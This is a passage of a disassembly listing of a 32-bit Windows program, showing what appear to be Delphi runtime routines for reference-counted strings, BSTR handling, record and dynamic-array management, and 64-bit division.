; ---------------------------------------------------------------------------


loc_401FB5:				; CODE XREF: sub_401F50+2j
		mov	edx, ecx
		jmp	sub_401E18
; ---------------------------------------------------------------------------


loc_401FBC:				; CODE XREF: sub_401F50+Ej
		mov	edx, ecx
		jmp	sub_401F0C
sub_401F50	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_401FC4	proc near		; CODE XREF: CODE:00404252p
					; CODE:004044C9p ...
		push	ebx
		push	esi
		push	edi
		push	edx
		push	eax
		mov	ebx, edx
		xor	edi, edi
		mov	ecx, [esp+edx*4+14h]
		test	ecx, ecx
		jz	short loc_401FDB
		cmp	[eax], ecx
		jnz	short loc_401FDB
		mov	edi, eax


loc_401FDB:				; CODE XREF: sub_401FC4+Fj
					; sub_401FC4+13j
		xor	eax, eax


loc_401FDD:				; CODE XREF: sub_401FC4+2Bj
		mov	ecx, [esp+edx*4+14h]
		test	ecx, ecx
		jz	short loc_401FEE
		add	eax, [ecx-4]
		cmp	edi, ecx
		jnz	short loc_401FEE
		xor	edi, edi


loc_401FEE:				; CODE XREF: sub_401FC4+1Fj
					; sub_401FC4+26j
		dec	edx
		jnz	short loc_401FDD
		test	edi, edi
		jz	short loc_402009
		mov	edx, eax
		mov	eax, edi
		mov	esi, [edi]
		mov	esi, [esi-4]
		call	sub_402184
		push	edi
		add	esi, [edi]
		dec	ebx
		jmp	short loc_402011
; ---------------------------------------------------------------------------


loc_402009:				; CODE XREF: sub_401FC4+2Fj
		call	sub_401E84
		push	eax
		mov	esi, eax


loc_402011:				; CODE XREF: sub_401FC4+43j
					; sub_401FC4+62j
		mov	eax, [esp+ebx*4+18h]
		mov	edx, esi
		test	eax, eax
		jz	short loc_402025
		mov	ecx, [eax-4]
		add	esi, ecx
		call	sub_401264


loc_402025:				; CODE XREF: sub_401FC4+55j
		dec	ebx
		jnz	short loc_402011
		pop	edx
		pop	eax
		test	edi, edi
		jnz	short loc_40203A
		test	edx, edx
		jz	short loc_402035
		dec	dword ptr [edx-8]


loc_402035:				; CODE XREF: sub_401FC4+6Cj
		call	sub_401E18


loc_40203A:				; CODE XREF: sub_401FC4+68j
		pop	edx
		pop	edi
		pop	esi
		pop	ebx
		pop	eax
		lea	esp, [esp+edx*4]
		jmp	eax
sub_401FC4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402048	proc near		; CODE XREF: sub_402C0C+12p
					; sub_402C0C+1Ap ...
		test	eax, eax
		jz	short locret_402055
		mov	edx, [eax-8]
		inc	edx
		jle	short locret_402055
		inc	dword ptr [eax-8]

locret_402055:				; CODE XREF: sub_402048+2j
					; sub_402048+8j
		retn
sub_402048	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402058	proc near		; CODE XREF: sub_4016A4+46p
					; sub_402C0C+3Cp ...
		test	eax, eax
		jz	short loc_40205E
		retn
; ---------------------------------------------------------------------------
byte_40205D	db 0			; DATA XREF: sub_402058:loc_40205Eo
; ---------------------------------------------------------------------------


loc_40205E:				; CODE XREF: sub_402058+2j
		mov	eax, offset byte_40205D
		retn
sub_402058	endp


; =============== S U B	R O U T	I N E =======================================



sub_402064	proc near		; CODE XREF: sub_4020A4j sub_4020ACj
		mov	edx, [eax]
		test	edx, edx
		jz	short loc_4020A1
		mov	ecx, [edx-8]
		dec	ecx
		jz	short loc_4020A1
		push	ebx
		mov	ebx, eax
		mov	eax, [edx-4]
		call	sub_401E84
		mov	edx, eax
		mov	eax, [ebx]
		mov	[ebx], edx
		push	eax
		mov	ecx, [eax-4]
		call	sub_401264
		pop	eax
		mov	ecx, [eax-8]
		dec	ecx
		jl	short loc_40209E
		dec	dword ptr [eax-8]
		jnz	short loc_40209E
		lea	eax, [eax-8]
		call	sub_40115C


loc_40209E:				; CODE XREF: sub_402064+2Bj
					; sub_402064+30j
		mov	edx, [ebx]
		pop	ebx


loc_4020A1:				; CODE XREF: sub_402064+4j
					; sub_402064+Aj
		mov	eax, edx
		retn
sub_402064	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020A4	proc near		; CODE XREF: sub_4020F4+9p
		jmp	sub_402064
sub_4020A4	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020AC	proc near		; CODE XREF: sub_402C0C+56p
					; sub_402CDC+8Ep ...
		jmp	sub_402064
sub_4020AC	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4020B4	proc near		; CODE XREF: sub_403168+AAp
					; sub_403168+F1p ...

arg_0		= dword	ptr  4

		push	ebx
		test	eax, eax
		jz	short loc_4020E6
		mov	ebx, [eax-4]
		test	ebx, ebx
		jz	short loc_4020E6
		dec	edx
		jl	short loc_4020DE
		cmp	edx, ebx
		jge	short loc_4020E6


loc_4020C7:				; CODE XREF: sub_4020B4+2Cj
		sub	ebx, edx
		test	ecx, ecx
		jl	short loc_4020E6
		cmp	ecx, ebx
		jg	short loc_4020E2


loc_4020D1:				; CODE XREF: sub_4020B4+30j
		add	edx, eax
		mov	eax, [esp+4+arg_0]
		call	sub_401EB0
		jmp	short loc_4020EF
; ---------------------------------------------------------------------------


loc_4020DE:				; CODE XREF: sub_4020B4+Dj
		xor	edx, edx
		jmp	short loc_4020C7
; ---------------------------------------------------------------------------


loc_4020E2:				; CODE XREF: sub_4020B4+1Bj
		mov	ecx, ebx
		jmp	short loc_4020D1
; ---------------------------------------------------------------------------


loc_4020E6:				; CODE XREF: sub_4020B4+3j
					; sub_4020B4+Aj ...
		mov	eax, [esp+4+arg_0]
		call	sub_401DC4


loc_4020EF:				; CODE XREF: sub_4020B4+28j
		pop	ebx
		retn	4
sub_4020B4	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4020F4	proc near		; CODE XREF: sub_403168+4Cp
					; sub_403168+D0p ...
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	esi, edx
		mov	edi, ecx
		call	sub_4020A4
		mov	edx, [ebx]
		test	edx, edx
		jz	short loc_402138
		mov	ecx, [edx-4]
		dec	esi
		jl	short loc_402138
		cmp	esi, ecx
		jge	short loc_402138
		test	edi, edi
		jle	short loc_402138
		sub	ecx, esi
		cmp	edi, ecx
		jle	short loc_40211E
		mov	edi, ecx


loc_40211E:				; CODE XREF: sub_4020F4+26j
		sub	ecx, edi
		add	edx, esi
		lea	eax, [edi+edx]
		call	sub_401264
		mov	edx, [ebx]
		mov	eax, ebx
		mov	edx, [edx-4]
		sub	edx, edi
		call	sub_402184


loc_402138:				; CODE XREF: sub_4020F4+12j
					; sub_4020F4+18j ...
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4020F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40213C	proc near		; CODE XREF: sub_403168+3Dp
					; sub_403168+59p ...
		test	eax, eax
		jz	short locret_402180
		test	edx, edx
		jz	short loc_402175
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		mov	edi, edx
		mov	ecx, [edi-4]
		push	edi
		mov	edx, [esi-4]
		dec	edx
		js	short loc_402170
		mov	al, [esi]
		inc	esi
		sub	ecx, edx
		jle	short loc_402170


loc_40215C:				; CODE XREF: sub_40213C+32j
		repne scasb
		jnz	short loc_402170
		mov	ebx, ecx
		push	esi
		push	edi
		mov	ecx, edx
		repe cmpsb
		pop	edi
		pop	esi
		jz	short loc_402178
		mov	ecx, ebx
		jmp	short loc_40215C
; ---------------------------------------------------------------------------


loc_402170:				; CODE XREF: sub_40213C+17j
					; sub_40213C+1Ej ...
		pop	edx
		xor	eax, eax
		jmp	short loc_40217D
; ---------------------------------------------------------------------------


loc_402175:				; CODE XREF: sub_40213C+6j
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_402178:				; CODE XREF: sub_40213C+2Ej
		pop	edx
		mov	eax, edi
		sub	eax, edx


loc_40217D:				; CODE XREF: sub_40213C+37j
		pop	edi
		pop	esi
		pop	ebx

locret_402180:				; CODE XREF: sub_40213C+2j
		retn
sub_40213C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402184	proc near		; CODE XREF: sub_4012C4+7Fp
					; sub_401F0C+21p ...
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	esi, edx
		xor	edi, edi
		test	edx, edx
		jle	short loc_4021D9
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_4021BA
		cmp	dword ptr [eax-8], 1
		jnz	short loc_4021BA
		sub	eax, 8
		add	edx, 9
		push	eax
		mov	eax, esp
		call	sub_401174
		pop	eax
		add	eax, 8
		mov	[ebx], eax
		mov	[eax-4], esi
		mov	byte ptr [esi+eax], 0
		jmp	short loc_4021E2
; ---------------------------------------------------------------------------


loc_4021BA:				; CODE XREF: sub_402184+11j
					; sub_402184+17j
		mov	eax, edx
		call	sub_401E84
		mov	edi, eax
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_4021D9
		mov	edx, edi
		mov	ecx, [eax-4]
		cmp	ecx, esi
		jl	short loc_4021D4
		mov	ecx, esi


loc_4021D4:				; CODE XREF: sub_402184+4Cj
		call	sub_401264


loc_4021D9:				; CODE XREF: sub_402184+Bj
					; sub_402184+43j
		mov	eax, ebx
		call	sub_401DC4
		mov	[ebx], edi


loc_4021E2:				; CODE XREF: sub_402184+34j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_402184	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_402208


loc_4021E8:				; CODE XREF: sub_402208+1Dj
		mov	al, 1
		jmp	sub_40121C
; END OF FUNCTION CHUNK	FOR sub_402208
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_402208


loc_4021F0:				; CODE XREF: sub_402208+2j
					; sub_402208+Dj
		mov	edx, [eax]
		test	edx, edx
		jz	short locret_402204
		mov	dword ptr [eax], 0
		push	eax
		push	edx		; bstrString
		call	SysFreeString
		pop	eax

locret_402204:				; CODE XREF: sub_402208-14j
		retn
; END OF FUNCTION CHUNK	FOR sub_402208
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402208	proc near		; CODE XREF: sub_402350+81p
					; sub_40246C+61p

; FUNCTION CHUNK AT 004021E8 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 004021F0 SIZE 00000015 BYTES

		test	edx, edx
		jz	loc_4021F0
		mov	ecx, [edx-4]
		shr	ecx, 1
		jz	loc_4021F0
		push	ecx		; len
		push	edx		; psz
		push	eax		; pbstr
		call	SysReAllocStringLen
		test	eax, eax
		jz	loc_4021E8
		retn
sub_402208	endp


; =============== S U B	R O U T	I N E =======================================



sub_40222C	proc near		; CODE XREF: sub_402260+B1p
		xor	ecx, ecx
		push	ebx
		mov	cl, [edx+1]
		push	esi
		push	edi
		mov	ebx, eax
		lea	esi, [ecx+edx+0Ah]
		mov	edi, [ecx+edx+6]


loc_40223E:				; CODE XREF: sub_40222C+29j
		mov	edx, [esi]
		mov	eax, [esi+4]
		add	eax, ebx
		mov	edx, [edx]
		mov	ecx, 1
		call	sub_402260
		add	esi, 8
		dec	edi
		jg	short loc_40223E
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40222C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402260	proc near		; CODE XREF: sub_40222C+20p
					; sub_402260+9Bp ...
		cmp	ecx, 0
		jz	locret_40234B
		push	eax
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	esi, edx
		mov	edi, ecx
		xor	edx, edx
		mov	al, [esi]
		mov	dl, [esi+1]
		cmp	al, 0Ah
		jz	short loc_4022A3
		cmp	al, 0Bh
		jz	short loc_4022C0
		cmp	al, 0Ch
		jz	short loc_4022D9
		cmp	al, 0Dh
		jz	short loc_4022E8
		cmp	al, 0Eh
		jz	short loc_402306
		cmp	al, 0Fh
		jz	loc_40231C
		cmp	al, 11h
		jz	loc_40232B
		jmp	loc_40233C
; ---------------------------------------------------------------------------


loc_4022A3:				; CODE XREF: sub_402260+1Cj
		cmp	ecx, 1
		mov	eax, ebx
		jg	short loc_4022B4
		call	sub_401DC4
		jmp	loc_402347
; ---------------------------------------------------------------------------


loc_4022B4:				; CODE XREF: sub_402260+48j
		mov	edx, ecx
		call	sub_401DE8
		jmp	loc_402347
; ---------------------------------------------------------------------------


loc_4022C0:				; CODE XREF: sub_402260+20j
		cmp	ecx, 1
		mov	eax, ebx
		jg	short loc_4022CF
		call	ds:off_405024
		jmp	short loc_402347
; ---------------------------------------------------------------------------


loc_4022CF:				; CODE XREF: sub_402260+65j
		mov	edx, ecx
		call	ds:off_405028
		jmp	short loc_402347
; ---------------------------------------------------------------------------


loc_4022D9:				; CODE XREF: sub_402260+24j
					; sub_402260+84j
		mov	eax, ebx
		add	ebx, 10h
		call	sub_4025B0
		dec	edi
		jg	short loc_4022D9
		jmp	short loc_402347
; ---------------------------------------------------------------------------


loc_4022E8:				; CODE XREF: sub_402260+28j
		push	ebp
		mov	ebp, edx


loc_4022EB:				; CODE XREF: sub_402260+A1j
		mov	edx, [esi+ebp+0Ah]
		mov	eax, ebx
		add	ebx, [esi+ebp+2]
		mov	ecx, [esi+ebp+6]
		mov	edx, [edx]
		call	sub_402260
		dec	edi
		jg	short loc_4022EB
		pop	ebp
		jmp	short loc_402347
; ---------------------------------------------------------------------------


loc_402306:				; CODE XREF: sub_402260+2Cj
		push	ebp
		mov	ebp, edx


loc_402309:				; CODE XREF: sub_402260+B7j
		mov	eax, ebx
		add	ebx, [esi+ebp+2]
		mov	edx, esi
		call	sub_40222C
		dec	edi
		jg	short loc_402309
		pop	ebp
		jmp	short loc_402347
; ---------------------------------------------------------------------------


loc_40231C:				; CODE XREF: sub_402260+30j
					; sub_402260+C7j
		mov	eax, ebx
		add	ebx, 4
		call	sub_402888
		dec	edi
		jg	short loc_40231C
		jmp	short loc_402347
; ---------------------------------------------------------------------------


loc_40232B:				; CODE XREF: sub_402260+38j
					; sub_402260+D8j
		mov	eax, ebx
		mov	edx, esi
		add	ebx, 4
		call	sub_4027F4
		dec	edi
		jg	short loc_40232B
		jmp	short loc_402347
; ---------------------------------------------------------------------------


loc_40233C:				; CODE XREF: sub_402260+3Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	eax
		mov	al, 2
		jmp	sub_40121C
; ---------------------------------------------------------------------------


loc_402347:				; CODE XREF: sub_402260+4Fj
					; sub_402260+5Bj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	eax

locret_40234B:				; CODE XREF: sub_402260+3j
		retn
sub_402260	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402350	proc near		; CODE XREF: sub_402350+CFp
					; sub_40246C+ACp
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, eax
		mov	esi, edx
		xor	eax, eax
		mov	al, [ecx+1]
		lea	edi, [eax+ecx+0Ah]
		mov	ebp, [edi-4]
		xor	eax, eax
		mov	ecx, [edi-8]
		push	ecx


loc_40236A:				; CODE XREF: sub_402350+100j
		mov	ecx, [edi+4]
		sub	ecx, eax
		jle	short loc_40237C
		mov	edx, eax
		add	eax, esi
		add	edx, ebx
		call	sub_401264


loc_40237C:				; CODE XREF: sub_402350+1Fj
		mov	eax, [edi+4]
		mov	edx, [edi]
		mov	edx, [edx]
		mov	cl, [edx]
		cmp	cl, 0Ah
		jz	short loc_4023BB
		cmp	cl, 0Bh
		jz	short loc_4023CC
		cmp	cl, 0Ch
		jz	short loc_4023DD
		cmp	cl, 0Dh
		jz	short loc_4023EE
		cmp	cl, 0Eh
		jz	short loc_40240E
		cmp	cl, 0Fh
		jz	loc_402427
		cmp	cl, 11h
		jz	loc_402438
		mov	al, 2
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		jmp	sub_40121C
; ---------------------------------------------------------------------------


loc_4023BB:				; CODE XREF: sub_402350+38j
		mov	edx, [eax+esi]
		add	eax, ebx
		call	sub_401E18
		mov	eax, 4
		jmp	short loc_402449
; ---------------------------------------------------------------------------


loc_4023CC:				; CODE XREF: sub_402350+3Dj
		mov	edx, [eax+esi]
		add	eax, ebx
		call	sub_402208
		mov	eax, 4
		jmp	short loc_402449
; ---------------------------------------------------------------------------


loc_4023DD:				; CODE XREF: sub_402350+42j
		lea	edx, [eax+esi]
		add	eax, ebx
		call	sub_4025A8
		mov	eax, 10h
		jmp	short loc_402449
; ---------------------------------------------------------------------------


loc_4023EE:				; CODE XREF: sub_402350+47j
		xor	ecx, ecx
		mov	cl, [edx+1]
		push	dword ptr [ecx+edx+2]
		push	dword ptr [ecx+edx+6]
		mov	ecx, [ecx+edx+0Ah]
		mov	ecx, [ecx]
		lea	edx, [eax+esi]
		add	eax, ebx
		call	sub_40246C
		pop	eax
		jmp	short loc_402449
; ---------------------------------------------------------------------------


loc_40240E:				; CODE XREF: sub_402350+4Cj
		xor	ecx, ecx
		mov	cl, [edx+1]
		mov	ecx, [ecx+edx+2]
		push	ecx
		mov	ecx, edx
		lea	edx, [eax+esi]
		add	eax, ebx
		call	sub_402350
		pop	eax
		jmp	short loc_402449
; ---------------------------------------------------------------------------


loc_402427:				; CODE XREF: sub_402350+51j
		mov	edx, [eax+esi]
		add	eax, ebx
		call	sub_4028A0
		mov	eax, 4
		jmp	short loc_402449
; ---------------------------------------------------------------------------


loc_402438:				; CODE XREF: sub_402350+5Aj
		mov	ecx, edx
		mov	edx, [eax+esi]
		add	eax, ebx
		call	sub_402830
		mov	eax, 4


loc_402449:				; CODE XREF: sub_402350+7Aj
					; sub_402350+8Bj ...
		add	eax, [edi+4]
		add	edi, 8
		dec	ebp
		jnz	loc_40236A
		pop	ecx
		sub	ecx, eax
		jle	short loc_402465
		lea	edx, [eax+ebx]
		add	eax, esi
		call	sub_401264


loc_402465:				; CODE XREF: sub_402350+109j
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_402350	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40246C	proc near		; CODE XREF: sub_402350+B6p
					; sub_40246C+98p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, eax
		mov	esi, edx
		mov	edi, ecx
		mov	ebp, [esp+10h+arg_0]
		mov	cl, [edi]
		cmp	cl, 0Ah
		jz	short loc_4024B2
		cmp	cl, 0Bh
		jz	short loc_4024C9
		cmp	cl, 0Ch
		jz	short loc_4024DD
		cmp	cl, 0Dh
		jz	short loc_4024F1
		cmp	cl, 0Eh
		jz	short loc_402512
		cmp	cl, 0Fh
		jz	loc_40252F
		cmp	cl, 11h
		jz	loc_402543
		mov	al, 2
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		jmp	sub_40121C
; ---------------------------------------------------------------------------


loc_4024B2:				; CODE XREF: sub_40246C+13j
					; sub_40246C+56j
		mov	eax, ebx
		mov	edx, [esi]
		call	sub_401E18
		add	ebx, 4
		add	esi, 4
		dec	ebp
		jnz	short loc_4024B2
		jmp	loc_402557
; ---------------------------------------------------------------------------


loc_4024C9:				; CODE XREF: sub_40246C+18j
					; sub_40246C+6Dj
		mov	eax, ebx
		mov	edx, [esi]
		call	sub_402208
		add	ebx, 4
		add	esi, 4
		dec	ebp
		jnz	short loc_4024C9
		jmp	short loc_402557
; ---------------------------------------------------------------------------


loc_4024DD:				; CODE XREF: sub_40246C+1Dj
					; sub_40246C+81j
		mov	eax, ebx
		mov	edx, esi
		call	sub_4025A8
		add	ebx, 10h
		add	esi, 10h
		dec	ebp
		jnz	short loc_4024DD
		jmp	short loc_402557
; ---------------------------------------------------------------------------


loc_4024F1:				; CODE XREF: sub_40246C+22j
		xor	ecx, ecx
		mov	cl, [edi+1]
		lea	edi, [ecx+edi+2]


loc_4024FA:				; CODE XREF: sub_40246C+A2j
		mov	eax, ebx
		mov	edx, esi
		mov	ecx, [edi+8]
		push	dword ptr [edi+4]
		call	sub_40246C
		add	ebx, [edi]
		add	esi, [edi]
		dec	ebp
		jnz	short loc_4024FA
		jmp	short loc_402557
; ---------------------------------------------------------------------------


loc_402512:				; CODE XREF: sub_40246C+27j
					; sub_40246C+BFj
		mov	eax, ebx
		mov	edx, esi
		mov	ecx, edi
		call	sub_402350
		xor	eax, eax
		mov	al, [edi+1]
		add	ebx, [eax+edi+2]
		add	esi, [eax+edi+2]
		dec	ebp
		jnz	short loc_402512
		jmp	short loc_402557
; ---------------------------------------------------------------------------


loc_40252F:				; CODE XREF: sub_40246C+2Cj
					; sub_40246C+D3j
		mov	eax, ebx
		mov	edx, [esi]
		call	sub_4028A0
		add	ebx, 4
		add	esi, 4
		dec	ebp
		jnz	short loc_40252F
		jmp	short loc_402557
; ---------------------------------------------------------------------------


loc_402543:				; CODE XREF: sub_40246C+35j
					; sub_40246C+E9j
		mov	eax, ebx
		mov	edx, [esi]
		mov	ecx, edi
		call	sub_402830
		add	ebx, 4
		add	esi, 4
		dec	ebp
		jnz	short loc_402543


loc_402557:				; CODE XREF: sub_40246C+58j
					; sub_40246C+6Fj ...
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn	4
sub_40246C	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_402560	proc near		; CODE XREF: CODE:00402577p
					; DATA XREF: sub_402580:loc_402587o
		mov	al, 10h
		jmp	sub_40121C
sub_402560	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_402568:				; DATA XREF: sub_402580+14o
		mov	ax, [eax]
		sub	ax, 2
		jb	short locret_40257C
		sub	ax, 8
		jz	short locret_40257C
		call	sub_402560
; ---------------------------------------------------------------------------

locret_40257C:				; CODE XREF: CODE:0040256Fj
					; CODE:00402575j
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402580	proc near		; CODE XREF: sub_402914+1Dp
		mov	edx, offset dword_4063F4
		xor	eax, eax


loc_402587:				; CODE XREF: sub_402580+12j
		mov	dword ptr [edx+eax*4], offset sub_402560
		inc	eax
		cmp	eax, 2Bh
		jnz	short loc_402587
		mov	eax, offset loc_402568
		mov	ds:dword_4063F4, eax
		retn
sub_402580	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4025A0	proc near		; CODE XREF: sub_4025B0+1p
		jmp	ds:dword_4063F4
sub_4025A0	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4025A8	proc near		; CODE XREF: sub_402350+92p
					; sub_40246C+75p
		jmp	ds:dword_4063F8
sub_4025A8	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4025B0	proc near		; CODE XREF: sub_402260+7Ep
		push	eax
		call	sub_4025A0
		pop	eax
		retn
sub_4025B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4025B8	proc near		; DATA XREF: sub_402914+13o
		mov	al, 11h
		jmp	sub_40121C
sub_4025B8	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4025C0	proc near		; CODE XREF: sub_403900+65p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebp
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		mov	ebx, [esp+10h+arg_0]
		mov	ecx, [esp+10h+arg_4]
		or	ecx, ecx
		jnz	short loc_4025DA
		or	edx, edx
		jz	short loc_402632
		or	ebx, ebx
		jz	short loc_402632


loc_4025DA:				; CODE XREF: sub_4025C0+10j
		or	edx, edx
		jns	short loc_4025E8
		neg	edx
		neg	eax
		sbb	edx, 0
		or	edi, 1


loc_4025E8:				; CODE XREF: sub_4025C0+1Cj
		or	ecx, ecx
		jns	short loc_4025F6
		neg	ecx
		neg	ebx
		sbb	ecx, 0
		xor	edi, 1


loc_4025F6:				; CODE XREF: sub_4025C0+2Aj
		mov	ebp, ecx
		mov	ecx, 40h
		push	edi
		xor	edi, edi
		xor	esi, esi


loc_402602:				; CODE XREF: sub_4025C0:loc_402619j
		shl	eax, 1
		rcl	edx, 1
		rcl	esi, 1
		rcl	edi, 1
		cmp	edi, ebp
		jb	short loc_402619
		ja	short loc_402614
		cmp	esi, ebx
		jb	short loc_402619


loc_402614:				; CODE XREF: sub_4025C0+4Ej
		sub	esi, ebx
		sbb	edi, ebp
		inc	eax


loc_402619:				; CODE XREF: sub_4025C0+4Cj
					; sub_4025C0+52j
		loop	loc_402602
		pop	ebx
		test	ebx, 1
		jz	short loc_40262B
		neg	edx
		neg	eax
		sbb	edx, 0


loc_40262B:				; CODE XREF: sub_4025C0+62j
					; sub_4025C0+76j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	8
; ---------------------------------------------------------------------------


loc_402632:				; CODE XREF: sub_4025C0+14j
					; sub_4025C0+18j
		div	ebx
		xor	edx, edx
		jmp	short loc_40262B
sub_4025C0	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40263C	proc near		; CODE XREF: sub_40265C+106p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	sub_40246C
		pop	ebp
		retn	4
sub_40263C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40264C	proc near		; CODE XREF: sub_40265C+B0p
		jmp	sub_402260
sub_40264C	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402654	proc near		; CODE XREF: sub_40265C+2Fp
		call	sub_4027F4
		retn
sub_402654	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40265C	proc near		; CODE XREF: sub_40265C+173p
					; sub_4027E8+5p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE0h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_8], ecx
		mov	esi, edx
		mov	[ebp+var_4], eax
		mov	ebx, [ebp+var_4]
		mov	ebx, [ebx]
		mov	eax, [ebp+arg_0]
		mov	edi, [eax]
		test	edi, edi
		jg	short loc_402695
		test	edi, edi
		jge	short loc_402686
		mov	al, 4
		call	sub_40121C
; ---------------------------------------------------------------------------


loc_402686:				; CODE XREF: sub_40265C+21j
		mov	eax, [ebp+var_4]
		mov	edx, esi
		call	sub_402654
		jmp	loc_4027DF
; ---------------------------------------------------------------------------


loc_402695:				; CODE XREF: sub_40265C+1Dj
		xor	eax, eax
		mov	[ebp+var_10], eax
		test	ebx, ebx
		jz	short loc_4026A9
		sub	ebx, 4
		mov	eax, [ebx]
		mov	[ebp+var_10], eax
		sub	ebx, 4


loc_4026A9:				; CODE XREF: sub_40265C+40j
		xor	eax, eax
		mov	al, [esi+1]
		add	esi, eax
		mov	eax, esi
		mov	edx, [eax+2]
		mov	[ebp+var_18], edx
		mov	edx, [eax+6]
		test	edx, edx
		jz	short loc_4026C3
		mov	esi, [edx]
		jmp	short loc_4026C5
; ---------------------------------------------------------------------------


loc_4026C3:				; CODE XREF: sub_40265C+61j
		xor	esi, esi


loc_4026C5:				; CODE XREF: sub_40265C+65j
		mov	eax, edi
		imul	[ebp+var_18]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+var_1C]
		cdq
		idiv	edi
		cmp	eax, [ebp+var_18]
		jz	short loc_4026DF
		mov	al, 4
		call	sub_40121C
; ---------------------------------------------------------------------------


loc_4026DF:				; CODE XREF: sub_40265C+7Aj
		add	[ebp+var_1C], 8
		test	ebx, ebx
		jz	short loc_4026EC
		cmp	dword ptr [ebx], 1
		jnz	short loc_402721


loc_4026EC:				; CODE XREF: sub_40265C+89j
		mov	[ebp+var_20], ebx
		cmp	edi, [ebp+var_10]
		jge	short loc_402711
		test	esi, esi
		jz	short loc_402711
		mov	eax, ebx
		add	eax, 8
		mov	edx, edi
		imul	edx, [ebp+var_18]
		add	eax, edx
		mov	ecx, [ebp+var_10]
		sub	ecx, edi
		mov	edx, esi
		call	sub_40264C


loc_402711:				; CODE XREF: sub_40265C+96j
					; sub_40265C+9Aj
		lea	eax, [ebp+var_20]
		mov	edx, [ebp+var_1C]
		call	sub_401174
		mov	ebx, [ebp+var_20]
		jmp	short loc_40277F
; ---------------------------------------------------------------------------


loc_402721:				; CODE XREF: sub_40265C+8Ej
		dec	dword ptr [ebx]
		mov	eax, [ebp+var_1C]
		call	sub_401144
		mov	ebx, eax
		mov	eax, [ebp+var_10]
		mov	[ebp+var_14], eax
		cmp	edi, [ebp+var_14]
		jge	short loc_40273B
		mov	[ebp+var_14], edi


loc_40273B:				; CODE XREF: sub_40265C+DAj
		test	esi, esi
